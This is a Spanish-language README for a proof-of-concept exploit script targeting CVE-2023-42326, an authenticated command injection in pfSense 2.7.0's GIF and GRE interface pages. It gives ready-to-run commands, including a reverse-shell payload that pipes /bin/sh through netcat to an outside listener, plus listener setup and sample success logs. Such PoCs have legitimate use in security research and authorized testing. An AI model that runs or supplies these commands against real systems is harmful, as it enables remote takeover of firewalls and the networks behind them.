
Este es un POC simple para mostrar la vulnerabilidad de inyección de comandos de pfsense 2.7 (CVE-2023-42326).
Este script de Python es una Prueba de Concepto (PoC) para la vulnerabilidad de inyección de comandos (CVE-2023-42326) en pfSense 2.7.0. La vulnerabilidad permite a atacantes autenticados inyectar y ejecutar comandos arbitrarios a través de los componentes interfaces_gif_edit.php e interfaces_gre_edit.php.
gif o gre) para elegir los componentes vulnerables.Antes de ejecutar el script, asegúrate de tener:
pip install requests beautifulsoup4 rich
Este comando inyecta un comando de shell que crea una shell inversa hacia tu máquina:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u: Nombre de usuario para el inicio de sesión de administrador de pfSense.-p: Contraseña para el inicio de sesión de administrador de pfSense.--mode: Modo de explotación (gif o gre).-t: URL objetivo de pfSense.-c: El comando de shell a inyectar.-d: (Opcional) Activa el modo debug para ver los datos de respuesta sin procesar.Asegúrate de tener un listener de Netcat ejecutándose en tu máquina:
nc -lvnp 80
Luego, ejecuta el script con un comando de shell inversa como este:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
Iniciando sesión en pfSense y explotando la interfaz GIF

Ejecutando una Shell Inversa

| Argumento | Descripción |
|---|---|
-u | Nombre de usuario para el inicio de sesión de administrador de pfSense. |
-p | Contraseña para el inicio de sesión de administrador de pfSense. |
-t | URL/dirección IP objetivo de pfSense (ej. http://10.101.1.1). |
--mode | Modo de explotación: gif (para interfaces_gif_edit.php) o gre. |
-c | Comando a inyectar en el componente vulnerable. |
-d | Opcional. Activa el modo debug para imprimir los datos de respuesta. |
Cuando el exploit se ejecuta correctamente, deberías ver una salida similar a esta:
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Hecho con ❤️ por @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] El objetivo http://10.101.1.1 es accesible
[2024-10-24 03:57:59] [INFO] Obteniendo token CSRF de: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] Token CSRF extraído exitosamente
[2024-10-24 03:57:59] [INFO] Enviando solicitud de exploit GIF a http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] Exploit GIF enviado exitosamente
Si deseas ver más detalles sobre las solicitudes que se están enviando, puedes activar el modo debug añadiendo -d a tu comando. Esto imprimirá los datos de respuesta y te ayudará a solucionar cualquier problema.
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
-d para un registro más detallado si es necesario.